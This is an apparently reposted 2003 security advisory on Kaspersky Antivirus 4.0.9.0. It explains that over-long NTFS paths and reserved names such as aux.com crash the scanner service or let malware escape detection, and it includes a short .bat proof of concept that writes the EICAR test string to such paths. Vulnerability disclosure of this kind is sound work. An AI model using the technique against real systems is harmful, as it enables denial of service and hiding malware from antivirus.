SECURITY.NNOV: Kaspersky Antivirus DoS

2003-02-11T00:00:00
ID SECURITYVULNS:DOC:4061
Type securityvulns
Reporter Securityvulns
Modified 2003-02-11T00:00:00

Description

Title: Kaspersky Antivirus DoS Affected: Kaspersky Antivirus 4.0.9.0 (Server and Workstation version on Windows NT 4.0 and Windows 2000). Author: ZARAZA <3APA3A@SECURITY.NNOV.RU> Vendor: Kaspersky Lab Date: January, 30 2003 Risk: Average Exploitable: Yes Remote: Yes (for server versions) Vendor Notified: January, 30 2003

I. Introduction:

Kaspersky Antivirus (KAV) is a family of antiviral products.

II. Vulnerability:

Few vulnerabilities were identified. Most serious allows user to crash antiviral server remotely (write access to any directory on remote server is required).

  1. Long path crash
  2. Long path prevents malware from detection
  3. Special name prevents malware from detection

III. Details:

  1. Long path crash

NTFS file system allows to create paths of almost unlimited length. But Windows API does not allow path longer than 256 bytes. To prevent Windows API from checking requested path \\?\ prefix may be used to filename. This is documented feature of Windows API. Paths longer than 256 characters will cause KAV monitor service to crash or hang with 100% CPU usage. Possibility of code execution is not researched.

  1. Long path prevents malware from detection

Long path will also prevent malware from detection by antiviral scanner.

  1. Special name prevents malware from detection

It's possible to create NTFS file with name like aux.vbs or aux.com. Malware in this file will not be detected.

IV. Exploit:

This .bat file demonstrates vulnerability.

1,2 Long path crash & Long path prevents malware from detection

@echo off SET A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA mkdir \\?\c:\%A% mkdir \\?\c:\%A%\%A% mkdir \\?\c:\%A%\%A%\%A% mkdir \\?\c:\%A%\%A%\%A%\%A% mkdir \\?\c:\%A%\%A%\%A%\%A%\%A% mkdir \\?\c:\%A%\%A%\%A%\%A%\%A%\%A% echo X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* >\\?\c:\%A%\%A%\%A%\%A%\%A%\%A%\%A%.com

  1. Special name prevents malware from detection

echo X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* >\\?\c:\aux.com

V. Vendor

No response from vendor.

-- http://www.security.nnov.ru /\_/\ { , . } |\ +--oQQo->{ ^ }<-----+ \ | ZARAZA U 3APA3A } +-------------o66o--+ / |/ You know my name - look up my number (The Beatles)